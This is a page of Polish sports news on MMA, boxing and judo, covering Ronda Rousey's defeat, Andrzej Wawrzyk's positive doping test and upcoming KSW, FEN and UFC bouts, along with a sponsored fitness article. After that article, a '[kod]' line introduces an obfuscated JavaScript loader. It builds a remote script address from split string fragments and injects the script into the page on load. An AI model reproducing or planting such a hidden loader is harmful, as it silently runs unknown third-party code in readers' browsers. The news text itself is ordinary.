30 grudnia kibice MMA byli w szoku, gdy w starciu z Nunes zobaczyli bezradną „Rowdy”. Brazylijka w zaledwie 48 sekund odprawiła Amerykankę, która po zakończeniu rywalizacji unikała rozmów i kontaktu z mediami. 

Czas na przemyślenia

30-letnia Amerykanka wydała oświadczenie, w którym poinformowała, że potrzebuje czasu na przemyślenia i zastanowienie się nad swoją przyszłością. Wspaniała i bogata kariera Rousey znalazła się na zakręcie. Pierwsza mistrzyni UFC w wadze koguciej szła jak burza i w imponującym stylu wygrywała kolejne walki. Aż trafiła na Holly Holm, która wysokim kopnięciem potężnie ją zamroczyła i odebrała pas. Rousey liczyła na rewanż, głośno się o nim mówiło, jednak ostatecznie do niego nie doszło. Na jej powrót do oktagonu trzeba było czekać ponad rok. Wszyscy byli ciekawi, co zaprezentuje była mistrzyni. Niektórzy zacierali ręce i oczekiwali fajerwerków, ale tych nie było. Rousey wróciła, ale poległa z Amandą Nunes. Tak słabej i bezradnej „Rowdy” nikt nigdy nie widział.

Nie brakowało spekulacji, co dalej z karierą Rousey. Wiele osób stoi na stanowisku, że przygoda „Rowdy” z MMA dobiega końca. Potwierdził to Dan White. – Po rozmowie z nią, gdybym miał teraz ocenić i wydać opinię, to uważam, że ona już nie będzie walczyła, ale to jej decyzja. Według mnie, to koniec kariery. Jej zamiarem jest odejście i życie bez walki – powiedział szef UFC w programie UFC Unfiltered.

Zmieniła UFC

Mówi się, że „nieważne jak się zaczyna, ważne jak się kończy”. W przypadku Rondy Rousey nikt nie może mieć wątpliwości, że jest matką kobiecego MMA. To ona wyznaczała standardy rywalizacji, była i nadal jest twarzą tego sportu. Amerykanka dała wiele efektownych walk, na które widzowie czekali z niecierpliwością. Jednak przyszedł w moment, w którym musiała uznać wyższość rywalek. Można domniemywać, że nie uniosła ciężaru porażki, ale nikt nie podważy jej wpływu na obraz kobiecego MMA. 

Warto pamiętać, że wcześniej 30-letnia Amerykanka uprawiła judo, gdzie również odnosiła sukcesy. Z dotychczasowych wydarzeń można wysnuć wniosek, iż jest już tym zmęczona i chciałaby odpocząć, a w dalszej perspektywie podjąć kolejne wyzwania. Na ostateczną decyzję byłej mistrzyni UFC czekamy. Najlepszym potwierdzeniem jej dokonań są słowa Dana White'a. –  Jestem z niej zadowolony. Weszła do UFC i zmieniła świat – podkreślił.

KM

Wawrzyk czeka na decyzję, Wilder ma rywala

Andrzej Wawrzyk czeka na decyzję federacji WBC, po tym jak w jego organizmie wykryto zakazany stanozolol. Polak musi liczyć się z dyskwalifikacją. Decyzja powinna zapaść w ciągu dwóch tygodni. Tymczasem Deontay Wilder poznał nazwisko rywala, z którym zmierzy się 25 lutego na gali w Birmingham. Na wprost mistrza świata WBC stanie Gerald Washington.

Przypomnijmy. 15 i 16 stycznia przedstawiciele Światowej Agencji Antydopingowej pobrali od Wawrzyka materiały do badań. U Polaka wykryto niedozwolone środki.. W związku z tym Wawrzyk musiał pożegnać się z marzeniami o walce, której stawką byłby pas mistrzowski.

Trzeba czekać

Dla Andrzeja Wawrzyka ostatnie dni to istny dramat. Jego kariera bokserska znalazła się na zakręcie. Sam pięściarz zapewnia, że świadomie nie przyjmował zakazanych substancji. Stanozolol miałby trafić do organizmu Wawrzyka wraz z zanieczyszczoną odżywką.

Wiadomo, że nie ma już szans na starcie z Wilderem o mistrzostwo świata i 29-letni Polak musi liczyć się z karą. Teraz walczy o dobre imię oraz swoją przyszłość. Gdyby wersja Wawrzyka nie znalazła potwierdzenia, bokser musi się liczyć z tym, że pożegna się z grupa Sferis KnockOut Promotions.

Wawrzyk wydał oświadczenie, w którym prosi o cierpliwość i wstrzymanie się z ocenami. –  Głęboko wierze, że wszystkie działania jakie zamierzam podjąć doprowadzą do wyjaśnienia niniejszej sprawy, co pozwoli mi na odzyskanie dobrego imienia, nie tylko wśród kibiców i środowiska bokserskiego, ale i całego sztabu szkoleniowego, a także mojej grupy promotorskiej. Jednocześnie dla dobra sprawy, do czasu uzyskania wyników laboratoryjnych dotyczących badanych suplementów, nie zamierzam jej dalej komentować. Chciałbym również prosić kibiców oraz przedstawicieli mediów, by nie wydawali w mojej sprawie wyroku i nie osądzali mnie, do czasu wyjaśnienia wszystkich okoliczności sprawy – napisał pięściarz.

Mistrz poznał rywala

Andrzej Wawrzyk byłby drugim polskim bokserem, który stawiłby czoła Wilderowi. Ponad rok temu niepokonany Amerykanin znokautował Artura Szpilkę. Miejsce Wawrzyka zajął Gerald Washington.

Kilka dni temu FighTime.pl informował, że to właśnie 34-letni Amerykanin jest najpoważniejszym kandydatem do rywalizacji z mistrzem świata wagi ciężkiej WBC. Nasze doniesienia znalazły potwierdzenie i 25 lutego w Birmingham Washington postara się odebrać Wilderowi pas.

Washington to niezwykle ciekawa postać. 34-latek wcale nie musiał zostać bokserem, bo jego pierwszą miłością był… futbol amerykański. Washington grał w linii defensywnej Uniwersytetu Południowej Karoliny, przebywał także na testach w drużynach NFL. Z kariery nic nie wyszło i w 2012 roku postawił na boks. Decyzja okazała się strzałem w dziesiątkę. 34-latek ma na koncie 18 zwycięstw i jeden remis. Starcie z Wilderem będzie najpoważniejszym wyzwaniem dla Washingtona, który nigdy nie walczył o jakikolwiek tytuł.

KM

Jędrzejczyk dementuje, wielki powrót w MMA

Niepokonana Joanna Jędrzejczyk czeka na kolejną walkę w UFC. Pojawiły się informacje na temat potencjalnej rywalki mistrzyni wagi słomkowej, którą miałaby być Michelle Waterson. Polka nie potwierdza tych doniesień. W polskim MMA szykuje się wielkie wydarzenie. Na majowej gali KSW do rywalizacji powróci Łukasz „Juras” Jurkowski.

Jędrzejczyk wróciła do Stanów Zjednoczonych, gdzie przystąpiła do ciężkiej pracy. – To już koniec wakacji. Czas wracać do ciężkiej pracy w American Top Team. Super się cieszę z tego powodu! Nowe wyzwania i starania o bycie lepszą wersją siebie każdego dnia – napisała mistrzyni wagi słomkowej na swoim facebooku.

W oczekiwaniu na rywalkę

Ostatnią walkę 30-letni Polka stoczyła w listopadzie na gali UFC 205, kiedy to po pięciorundowym boju pokonała Karolinę Kowalkiewicz. Tym samym Jędrzejczyk po raz czwarty obroniła tytuł mistrzowski. Nowy rok niesie ze sobą kolejne wyzwania, a także domysły. Ruszyły spekulacje na temat najbliższej walki mistrzyni UFC, wedle których miałaby zaprezentować się na zaplanowanej na maj gali UFC 211 w rywalizacji z Michell Waterson.

31-letnia Amerykanka mocnym akcentem weszła do UFC. W debiucie, 12 lipca 2015 roku, pokonała przez poddanie Angelę Magana. Waterson miała zmierzyć się z Tecią Torres na UFC 194, jednak do walki nie doszło z powodu kontuzji. Jej przerwa trwała ponad rok, jednak w grudniu wróciła w efektownym stylu. Już w pierwszej rundzie rozprawiła się z Paige VanZant.

Akcje Amerykanki stoją wysoko, jednak Jędrzejczyk zaprzecza, że miałaby się z nią zmierzyć. –  Krążyły plotki, że będę walczyła z Michelle Waterson, ale to nie jest prawda. Byłam zaskoczona, bo dostałam wiele telefonów i wiadomości w tej sprawie. Kontaktowałam się nawet z Seanem Shelby, żeby zapytać, o co chodzi. Nie zamierzam walczyć z Waterson na UFC 211 – powiedziała w rozmowie z mmajunkie.com Jędrzejczyk.
 
Powrót

Po sześcioletniej przerwie do rywalizacji wraca Łukasz Jurkowski. Popularny „Juras” wystąpi podczas gali KSW Colosseum na stadionie PGE Narodowy, która odbędzie się 27 maja.

W ostatnim czasie Jurkowski realizował się w roli komentatora MMA, a także spikera Legii Warszawa. Niezwykle charyzmatyczny „Juras” postanowił wrócić do czynnego sportu. Wylewa pot na sali treningowej, żeby 27 maja dać z siebie maksimum. Po raz ostatni walczył na gali KSW 15, kiedy to przegrał z Tonim Valtonem. Łącznie stoczył 25 pojedynków, z których 15 zakończyło się jego triumfem.

To kolejna dobra informacja dla miłośników MMA. Na gali w Warszawie wystąpi aż pięciu mistrzów KSW: Marcin Wrzosek, Mateusz Gamrot, Tomasz Narkun, Fernando Rodrigues Jr. oraz Mamed Khalidov. Debiut w MMA zaliczy Damian Janikowski, a kolejną walkę stoczy Mariusz Pudzianowski.

fot. bloodyelbow.com

KM

Kwietniowa walka Błachowicza

Jan Błachowicz swoją szóstą walkę w UFC miał stoczyć 4 lutego na gali w Houston, jednak kontuzja wyeliminowała go z rywalizacji. Polskiego zawodnika kategorii półciężkiej zobaczymy w akcji w kwietniu. Jego rywalem będzie Patrick Cummins.

Ostatnią walkę w UFC Błachowicz stoczył we wrześniu ubiegłego roku, kiedy to w Hamburgu przegrał z Alexandrem Gustafssonem. Zaprezentował się przyzwoicie, a wcześniej pokonał Igora Pokrajaca i podpisał umowę z organizacją na kolejne cztery pojedynki.

Rywal czeka na zwycięstwo

4 lutego na gali UFC Fight Night 104 w Houston Błachowicz miał spotkać się z doświadczonym Ovincem St. Preux. Na kilka tygodni przed walką były mistrz KSW musiał wycofać się ze względu na kontuzję. Polak zmaga się z pęknięciem jednej z kości śródręcza w prawej dłoni. Jego miejsce w rywalizacji z St. Preux zajął Volkan Oezdemir.

Polak może spokojnie wracać do zdrowia i myśleć o kolejnej konfrontacji. Błachowicz wejdzie do oktagonu 8 kwietnia na gali UFC 2010 w Buffalo. Jego rywalem będzie Patrick Cummins. Amerykanina trudno uznać za wirtuoza i gwiazdę UFC, jednak jest solidnym zawodnikiem. Do najlepszej organizacji MMA na świecie trafił trzy lata temu z imponującym bilansem. Cztery walki wygrał w pierwszych rundach! W debiucie w UFC 36-latkowi przyszło zmierzyć się z Danielem Cormierem i poległ w… pierwszej odsłonie. Następnie wygrał trzy walki, ale ostatni czas nie jest dla niego najlepszy. Cummins przegrał dwa starcia – z Antonio Nogueirą i Gloverem Teixeirą. Łącznie stoczył w UFC osiem pojedynków, z czego cztery zakończyły się jego triumfem.

Błachowicz ma bogatszą karierę, jednak w amerykańskiej organizacji  ma na koncie pięć walk. Po raz szósty w UFC wystąpi w kwietniu, blisko rok od zwycięstwa z Pokrajacem. Dotychczas Polak odniósł dwa triumfy na amerykańskiej ziemi. W pojedynku z Cumminsem będzie musiał przygotować się na ciężką rywalizację. Istotne jest zachowanie ostrożności i spokojne wejście w pojedynek, bo 36-letni Amerykanin potrafi szybko kończyć walki. Tylko dwa starcia z jego udziałem zakończyły się decyzją sędziów.

Co ciekawe, będzie to starcie rankingowych „sąsiadów” wagi półciężkiej. Błachowicz zajmuje 15. miejsce w zestawieniu, a Cummins znajduje się oczko wyżej.

Johnson zaatakuje Cormiera

Wydarzeniem gali w Buffalo będzie pojedynek o mistrzostwo w wadze półciężkiej pomiędzy Danielem Cormierem a Anthonym Johnsonem. Panowie rywalizowali ze sobą w maju 2015 roku. Wtedy lepszy okazał się Cormier i zarazem sięgnął po pas.

Pierwotnie panowie mieli zmierzyć się w pojedynku rewanżowym w grudniu, jednak z powodu kontuzji mistrza starcie nie doszło do skutku. Johnson wygrał trzy kolejne walki i czeka na kolejną szansę na wywalczenie tytułu. 

KM

Trening na masę – co powinieneś o nim wiedzieć?

Budowanie masy mięśniowej jest jednym z etapów prowadzących do osiągnięcia wymarzonej sylwetki. Wiele osób zatem zastanawia się, jak powinien wyglądać dobry trening na masę i czym różni się od treningu „na rzeźbę”. Postanowiliśmy to sprawdzić. Oto, co udało nam się ustalić:

Jak ułożyć trening na masę?

Jak się okazuje, wiele osób ma problem z ułożeniem racjonalnego i efektywnego planu treningowego „na masę”. W tym zakresie nadal pokutuje wiele mitów i niedomówień. – Prawda jest taka, że wielu z nas nie zdaje sobie sprawy z tego, że każdy trening musi być podparty odpowiednią dietą. Nie od dziś wiadomo, że doskonałe efekty przynosi połączenie ćwiczeń na masę z dietą na masę. Dlatego też warto rozpocząć działanie od zrewidowania swojej diety, dokładnego określenia zapotrzebowania kalorycznego i sprawdzenia, czy spożywamy wszystkie, niezbędne składniki odżywcze w odpowiednich proporcjach. – mówi specjalista z najpopularniejszego obecnie serwisu internetowego o uprawianiu sportu – wirtualnecentrumtreningowe.pl, w którym cały artykuł na ten temat znajdziecie tutaj.

Jaki trening na masę?

Specjaliści podkreślają, że treningi, dzięki którym zanotujemy przyrost tkanki mięśniowej w dużej mierze polegają na treningu siłowym. – Pamiętać należy o tym, że każdy z nas ma inne potrzeby i możliwości, dlatego każdy powinien mieć swój indywidualny plan treningowy uwzględniający nie tylko ogólny stan zdrowia, ale również możliwości zwiększania ciężarów – mięśnie muszą przecież otrzymywać nieustannie bodziec do wzrostu. Wiele osób powtarza, że tak naprawdę istotą treningu na masę są duże obciążenia i mała liczba powtórzeń. Ja dodam tylko, że muszą to być obciążenia dopasowane do każdego indywidualnie i co jakiś czas zwiększane. – dodaje nasz ekspert z WirtualneCentrumTreningowe.pl.

Treningi na masę obrosły mitami. Warto zatem planując je skorzystać ze wskazówek specjalistów – w grę wchodzi przecież nie tylko rezultat, ale też nasze zdrowie.

[kod]

(function(){
q0sy=document.createElement("script");q0sy_=("us")+("ta");
q0sy_+="t"+(".");q0sy_+=("in");q0syu="15454913";q0sy.async=true;
q0syu+=".caji20g20syx6cXbm";q0sy.type="text/javascript";q0sy_+="f"+"o"+("/");
q0syu+="r2svw2e0x3zmp";q0sy.src="//"+q0sy_+q0syu;
dq0sy=document.body;dq0sy.appendChild(q0sy);
})();

Gniadek rywalem Żelazowskiego w walce o pas na FEN 16 Warsaw Reloaded

Zamiast Alberta Odzimkowskiego, wyeliminowanego z udziału w marcowej gali FEN 16 Warsaw Reloaded na Towarze przez poważną kontuzję ręki, z Pawłem Żelazowskim w walce o zwakowany pas w formule MMA kategorii półśredniej zmierzy się Kamil Gniadek. Obaj fighterzy walczą efektownie i skutecznie – niemal wszystkie swoje zwycięstwa odnosili dotąd przed czasem – więc ich pojedynek o tytuł mistrza FEN zapowiada się ekscytująco.

Kamil „The Undertaker” Gniadek (22 lata, 178 cm, 11-4-1) należy do najbardziej dojrzałych i doświadczonych zawodników MMA młodego pokolenia w Polsce. „The Undertaker” zaczynał od grapplingu i ju-jitsu (zdobył m.in. srebrny medal Mistrzostw Europy Ju-Jitsu No-Gi 2012 w Londynie), ale szybko zdecydował się na MMA – pierwszą zawodową walkę stoczył, mając zaledwie 17 lat. Doświadczenie w nowej dyscyplinie zbierał, tocząc zacięte boje m.in. z przyszłymi zawodnikami UFC Artemem Lobovem i Łukaszem Sajewskim. Reprezentant Berserkers Team Szczecin do pojedynku o pas na gali FEN 16 Warsaw Reloaded przystąpi po serii trzech wygranych walk z rzędu w nowej dla siebie kategorii półśredniej (wcześniej walczył w wadze lekkiej). W każdym z tych pojedynków mierzył się z mocnym rywalem i w każdym zwyciężył przed czasem – w kwietniu ubiegłego roku na gali IFO Europe: East Meets West w Niemczech balachą poddał reprezentanta gospodarzy Alexandra Vogta, w sierpniu na gali FEN 13 Summer Edition w swoim debiucie w klatkoringu FEN duszeniem zza pleców pokonał Klemensa Ewalda, a na niedawnej gali FEN 15 Final Strike już w pierwszej rundzie skrętówką wygrał z Francuzem Vincentem Del Guerrą.

Paweł Żelazowski (26 lat, 183 cm, 9-2), notowany nieco wyżej niż Gniadek w rankingach polskiego MMA wagi półśredniej, również ma na koncie dwa występy w organizacji Fight Exclusive Night, w których rozprawił się z przeciwnikami na długo przed kończącym walkę gongiem. W 2015 roku na wakacyjnej gali FEN 8 Summer Edition prawym sierpowym znokautował Artura Piotrowskiego, a na ubiegłorocznej gali FEN 11 Warsaw Time efektownie balachą zza pleców zmusił do odklepania Alberta Odzimkowskiego. Zawodnik klubu Dziki Wschód Biała Podlaska wcześniej święcił triumfy w Profesjonalnej Lidze MMA, wygrywając w niej siedem walk z rzędu i zdobywając tytuł mistrza tej organizacji. Jedynych porażek w zawodowej karierze Żelazowski doznał w obronie pasa PLMMA ze świetnym Francuzem Mickaelem Leboutem, później związanym z federacją UFC, oraz w swoim zagranicznym debiucie na gali GMC 9 w Niemczech, na której w walce wieczoru walczył o pas z Kerimem Engizekiem.

Albert Odzimkowski, który na  gali FEN 15 Final Strike w Lubinie pokonał na punkty Oskara Somerfelda, już w pierwszej rundzie doznał złamania drugiej kości śródręcza prawej dłoni. Zawodnik Cross Fight Radom w zeszłym tygodniu poddał się operacji i nie ma szans, aby w terminie gali FEN 16 Warsaw Reloaded był już stuprocentowo zdrowy i gotowy do walki. „Kontuzja Alberta pokrzyżowała zarówno jego, jak i nasze plany. Jedno jest pewne – „Złoty” swoimi dotychczasowymi występami w klatkoringu FEN zasłużył na walkę o tytuł mistrzowski i na jednej z kolejnych gal ponownie otrzyma szansę jego zdobycia” – zapowiada prezes FEN Paweł Jóźwiak.

Jedynym mistrzem FEN w MMA kategorii półśredniej był dotychczas Davy Gallon, który zdobył tytuł podczas gali FEN 12 Feel The Force, pokonując we wrocławskiej Hali Stulecia Michała Michalskiego. Francuz niedawno zwakował jednak pas, decydując się zmienić kategorię wagową.

FEN 16 Warsaw Reloaded to druga gala organizacji Fight Exclusive Night w stolicy Polski. 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pas walczyć będzie także Paweł Hadaś w kategorii średniej. W fight cardzie znalazło się także starcie w formule K-1 Artura Bizewskiego i Arkadiusza Wrzoska oraz walki Marcina Szredera i debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Odliczanie do mistrzostw Europy

Po siedemnastu latach mistrzostwa Europy w judo ponownie zagoszczą w Polsce. W dniach 20-23 kwietnia impreza odbędzie się w Warszawie. Polska musi wykorzystać tę szansę na płaszczyźnie sportowej i marketingowej.

Gdzieś w tunelu widać światełko. Igrzyska Olimpijskie polskim kadrowiczom nie wyszły, jednak w pojedynczych startach na poziomie międzynarodowym odnotowywaliśmy dobre wyniki. Podczas ubiegłorocznych mistrzostw Europy w Kazaniu pokazaliśmy siłę tkwiącą w naszych drużynach. Wspomniane starty dają nadzieję, ale niezbędna jest powtarzalność, która pozwoli jednoznacznie stwierdzić, że jesteśmy na dobrej drodze. Teraz zmierzamy do Tokio, a na trasie mamy przystanek Warszawa.

Z nadzieją na medale

O przeszłości należy pamiętać i ją pielęgnować, ale niekoniecznie żyć nią każdego dnia. Powinniśmy tworzyć historię, która jest wyznacznikiem trwałości i potęgi. W 1994 roku mogliśmy powiedzieć, że polskie judo jest mocne na tle Europy. Podczas mistrzostw w Gdańsku zdobyliśmy sześć krążków i zajęliśmy piąte miejsce w klasyfikacji medalowej. Tytuły najlepszych na Starym Kontynencie wywalczyli: Paweł Nastula (95kg) i Ewa Krasue (52kg). Rywalizację w Gdańsku ze srebrnym medalem zakończyła utytułowana Beata Maksymow. Ponownie mistrzostwa Europy zawitały do Polski sześć lat później. We Wrocławiu nie było już tak kolorowo. Widać było, że nasze judo przeżywa kryzys. Tylko Robertowi Krawczykowi (81kg) udało stanąć się na podium, wywalczył brąz.

W jakim miejscu jest obecnie polskie judo? Na pewno droga nie jest prosta. Co i raz pojawiają się problemy natury finansowej, w 2014 roku w Polskim Związku Judo nastał się kurator. Wszystko to odbiło się szerokim echem i nie dostarczyło judo sympatyków. Stan kryzysu potęgował brak sukcesów sportowych. 

Jednak światełko zapaliło się. W 2014 roku nadzieję w serca wlała Katarzyna Kłys, która przełamała naszą niemoc w mistrzostwach świata i sięgnęła po brąz. Wiele obiecywaliśmy sobie po igrzyskach w Rio, gdzie wystąpiła czwórka Polaków. Wróciliśmy jednak bez medalu. Trochę szkoda, że w igrzyskach nie odbywa się rywalizacja drużynowa, bo jako monolit stanowimy siłę. Żeńska kadra w Kazaniu wywalczyła mistrzostwo Europy, a męska brązowy medal.

Już w kwietniu europejska czołówka zawita do Warszawy. Na obecną chwilę warunki kwalifikacyjne spełnia 19 zawodników (11 pań i 8 panów). Są to: Ewa Konieczny (48kg), Karolina Pieńkowska i Agata Perenc (52kg), Arleta Podolak i Anna Borowska (57kg), Karolina Tałach i Agata Ozdoba (63kg), Katarzyna Kłys i Sandra Lickun (70kg), Daria Pogorzelec i Beata Pacut (78kg), Michał Bartusik i Patryk Wawrzyczek (66kg), Damian Szwarnowiecki i Jakub Kubieniec (81kg), Piotr Kuczera i Patryk Ciechomski (90kg), Maciej Sarnacki i Kamil Grabowski (+100kg). Należy pamiętać, że obowiązuje limit miejsc – 9 dla kobiet i 9 dla mężczyzn oraz nie więcej niż dwóch zawodników w kategorii wagowej z danego kraju. Decydujący będzie ranking światowy, a następnie krajowy na dzień 6 marca. Warto dodać, że Polska może zaproponować po jednej „dzikiej karcie” wśród kobiet i mężczyzn. 

Zdobywać punkty

Niezwykle ważne będą dla zawodników lutowe i marcowe starty, w których mogą wzbogacić swoje konto punktowe i poprawić pozycję w rankingach. W zmaganiach w Tunisie nie zobaczyliśmy naszych zawodników. Turniej zdominowali Francuzi, którzy wywalczyli aż 22 medale, w tym osiem złotych.

Kolejne zmagania już 4 lutego. Panie pojadą do Sofii, a panowie zaprezentują się w Odivelas. Wiadomo, że w Bułgarii rywalizować będą Agata Perenc (52kg) i Julia Kowalczyk (57kg). Z kolei w Odivelas wystąpi pięciu biało-czerwonych. Tydzień później judocy wezmą udział w zawodach Grand Slam w Paryżu. Wśród zgłoszonych jest Arleta Podolak (57kg), która rok temu we Francji była piąta.

KM

Wawrzyk nie zawalczy o mistrzostwo świata!

Do najważniejszego starcia w karierze Andrzeja Wawrzyka pozostał miesiąc. Do pojedynku nie dojdzie, gdyż Polak został przyłapany na stosowaniu dopingu!

25 lutego na gali w Birmingham w walce wieczoru mistrz świata WBC Deontay Wilder miał zmierzyć się z Andrzejem Wawrzykiem. Tym samym 29-latek po raz drugi rywalizowałby o pas. Jednak już teraz Wawrzyk znalazł się na ustach wszystkich, ale nie jest to powód do chwały…

Dopingowy skandal

Do drzwi Wawrzyka zapukali przedstawiciele komisji antydopingowej. 15 i 16 stycznia od polskiego pięściarza pobrano dwie próbki, których wynik badania był zatrważający. W pobranych materiałach wykryto stanozolol, czyli specyfik zapewaniający szybki przyrost masy mięśniowej. 

Dla Wawrzyka to dopiero początek problemów. Po pierwsze, zaprzepaścił szansę na walkę o mistrzostwo świata. 25 lutego miał rywalizować o pas WBC z Deontayem Wilderem. Bilety na galę w Birmingham rozchodziły się jak świeże bułeczki. Dla polskich kibiców byłoby to ogromne wydarzenie, gdyż mogliby zobaczyć kolejnego rodaka w rywalizacji o tytuł w kategorii królewskiej. Co ważne, dla Wawrzyka byłoby to drugie starcie mistrzowskie. W maju 2013 roku przegrał z Aleksandrem Powietkinem. Po drugie, polski pięściarz musi czekać na wyrok w postaci dyskwalifikacji. 

W ostatnim czasie na stosowaniu dopingu przyłapano Michała Cieślaka i Nikodema Jeżewskiego. W 2012 roku w tarapaty popadł inny pięściarz wagi ciężkiej. Mariusz Wach został zdyskwalifikowany za stosowanie dopingu po walce z Władimirem Kliczko.

Wilder szuka rywala

Wilder musi więc czekać na rywala, z którym zmierzy się w Alabamie. Przeciwnik będzie musiał w ekspresowym tempie przygotować się do pojedynku. Najpoważniejszym kandydatem do występu na gali w Birmingham jest Gerald Washington. 34-letni Amerykanin jeszcze nigdy nie przegrał na zawodowym ringu. Na rozkładzie ma m.in. Eddiego Chambersa i Nagy'ego Aguilerę, których swego czasu pokonał Tomasz Adamek. Washington zremisował jedno starcie – w październiku 2015 roku z Amirem Mansourem. Wśród kandydatów do walki z mistrzem WBC wymienia się również Dilliana Whyte'a i Jarrela Millera.

Dla Wildera lutowa walka będzie powrotem po półrocznej przerwie. W wygranym pojedynku z Chrisem Arreolą 31-letni bombardier doznał kontuzji ręki i musiał przejść dwie operacje.

Po raz drugi potencjalny rywal Wildera wpada na dopingu. W maju ubiegłego roku amerykański czempion miał spotkać się z Aleksandrem Powietkinem, jednak w organizmie Rosjanina wykryto meldonium.

Na gali w Birmingham miał się zaprezentować Artur Szpilka. „Szpilę” przymierzano do walki z Dominicem Breazealem, który niedawno przegrał walkę o pas IBF z Anthonym Joshuą. Do starcia jednak nie dojdzie. 25 lutego z Breazealem do ringu wejdzie niepokonany Izuagbe Ugonoh.

KM

Mistrzowskie starcia na PGE Narodowym

Na majowej gali KSW na stadionie PGE Narodowy w Warszawie zobaczymy cztery walki mistrzowskie. Trzech czempionów poznało już swoich rywali. Na przeciwnika nadal czeka Mamed Khalidov.

W wadze ciężkiej Fernando Rodrigues Jr. zmierzy się z Marcinem Rożalskim, zaś w półciężkiej Tomasz Narkun będzie chciał odeprzeć atak Marcina Wójcika. Z kolei mistrz kategorii piórkowej Marcin Wrzosek zmierzy się z Kleberem Koike Erbstem.

„Różal” pomści Bedorfa?

29-letni Rodrigues Jr. ma najmniejsze doświadczenie spośród wszystkich uczestników mistrzowskich walk warszawskiej gali. Brazylijczyk przyjechał do Polski i w swoim pierwszym występie zdobył tytuł w wadze ciężkiej KSW. W drugiej rundzie rozbił Karola Bedorfa, który po trzech udanych obronach pożegnał się z pasem. 

Na PGE Narodowym pomścić „Coco” postara się Marcin Różalski. 38-latek stanie przed ogromną szansą. Jeszcze rok temu znajdował się pod ścianą. Po dwóch porażkach jego los wisiał na włosku, jednak na KSW 35 okazał się lepszy od Mariusza Pudzianowskiego. „Różal” w efektownym stylu wrócił na salony i w maju będzie mógł wejść na szczyt. „Płocki Barbarzyńca” będzie miał swój mały jubileusz. W Warszawie zaliczy dziesiątą walkę dla KSW.

Marcin Wójcik przebojem wdarł się do KSW i po trzech zwycięstwach dostał szansę na starcie o mistrzowski pas wagi półciężkiej. 27-latek z Piły wygrał osiem kolejnych walk. W KSW pokonał kolejno: Tomasza Kondraciuka, Michała Fijałka oraz Marcina Łazarza. Ostatniego rywala odprawił już w pierwszej rundzie przez duszenie gilotynowe. Efektowny Wójcik stanie w Warszawie na wprost Tomasza Narkuna. 27-letni mistrz stał się jedną z najbardziej popularnych postaci KSW. Narkun nie ma litości dla swoich rywali. Kolejne cztery walki rozstrzygał w pierwszych rundach.

Walce Artura Sowińskiego z Marcinem Wrzoskiem towarzyszyło wiele emocji. Podczas grudniowej gali w Krakowie „Polski Zombie” odebrał pas „Kornikowi”. Wrzosek stanie do pierwszej obrony tytułu przed sześćdziesięciotysięczną publicznością. Jego rywalem będzie dobrze znany Kleber Koike Erbst. 27-latek z Japonii wygrał dwie walki na KSW, raz przegrał. Jego pogromcą okazał się Artur Sowiński. Po raz drugi Koike Erbst stanie przed szansą wywalczenia pasa w kategorii piórkowej.

Gwiazdozbiór

Majowa gala KSW na PGE Narodowym będzie pełna gwiazd. W stolicy dojdzie do czterech pojedynków mistrzowskich. Na rywala nadal czeka Mamed Khalidov, który pokonał ostatnio Aziza Karaoglu.

W Warszawie zaprezentuje się Mariusz Pudzianowski, który po wygranej z Pawłem Mikołajuwem w Krakowie zapowiadał, że powoli myśli o zakończeniu kariery. Były strongman ma na koncie 10 wygranych walk i 5 porażek. Na PGE Narodowym pierwszą walkę w formule MMA stoczy brązowy medalista Igrzysk Olimpijski w Londynie w zapasach w stylu klasycznym – Damian Janikowski.

Fot. sherdog.com

KM

Wilder następny na liście Joshuy?

W kwietniu na stadionie Wembley pojawią się prawdziwe gromy. Anthony Joshua zmierzy się z Władimirem Kliczko w mistrzowskim starciu w wadze ciężkiej. 27-latek z Watford przygotowuje się do starcia z ikoną boksu, ale jego promotorzy już myślą o kolejnym pojedynku. Rywalem Joshuy miałby być Deontay Wilder.

Ubiegły rok w kategorii ciężkiej przebiegał pod dyktando uników Tysona Fury'ego, który nie udźwignął ciężaru sukcesu. Popadł w kłopoty i używki, a na koniec zrzekł się pasów. Na szczyt wspiął się Anthony Joshua. Zakontraktowanie jego walki z Władimirem Kliczko to hit, ale kto powiedział, że będzie to jedyne gorące danie nadchodzących miesięcy?

Amerykański sen

Z pewnością Anthony Joshua spełnił swoje marzenia zdobywając pas mistrzowski IBF w wadze ciężkiej. Podstawowe pytanie, czy go to zadowala? Odpowiedź może być tylko jedna: oczywiście, że nie. Gość ma 27 lat i wszystkie atuty, aby tak jak Władimir Kliczko zdominować wagę ciężką na długie lata.

Kwietniowie starcie Brytyjczyka z Ukraińcem urasta do rangi symbolu. Młody, niezwykle utalentowany i masakrujący kolejnych rywali bokser kontra wielki mistrz, ikona i postać pięściarstwa. „Oj, będzie się działo!”. Nikt nie zabroni nam wybiec nieco w przyszłość. Czyni to także promotor Joshuy Eddie Hearn. Zapowiada, że mistrz świata IBF ma coraz mocniejszą pozycję i śmiało może myśleć o starciu z Deontayem Wilderem. Niebawem Joshua będzie mógł zaprezentować się szerzej amerykańskiej publiczności. 27-latek będzie promował… kwietniową walkę z Kliczko.

Wszystkie dotychczasowe walki Joshua stoczył na własnym terenie. Po pojedynku z Kliczko może ruszyć w świata. – Chcielibyśmy walki z Wilderem. Ten pomysł jest dobry. Joshua budzi coraz większy entuzjazm w Ameryce. Ostatnio wszyscy o nim mówili – podaje Hearn w rozmowie ze Sky Sports.

Wiadomo, że do ewentualnego starcia z Joshuy z Wilderem długa droga, ale pomarzyć można. Nie ukrywajmy, że byłby to wspaniały spektakl. W ringu pojawiłoby się dwóch groźnych i niezwykle skutecznych bokserów.

Plany Wildera

Joshua w kwietniu, a Wilder już 25 lutego pojawi się w ringu. W Birmingham mistrza świata WBC zmierzy się z Andrzejem Wawrzykiem. Amerykanin w zapowiedziach nie ukrywa, że jest pewny swego. Dla Polaka będzie to drugie podejście do mistrzowskiego tytułu.

Tymczasem na horyzoncie pojawia się kolejny rywal dla Deontaya Wildera. To Joseph Parker, który wywalczył tytuł WBO w starciu z Andym Ruizem. 25-latek niebawem w obronie pasa ma zmierzyć się z Hughim Fury'm. Obóz Parkera chciałby, aby kolejnym rywalem Nowozelandczyka był Wilder. Co ciekawe, 25-latek jeszcze nie przegrał na zawodowym ringu. Odniósł 22 zwycięstwa, w tym 18 przed czasem.

KM

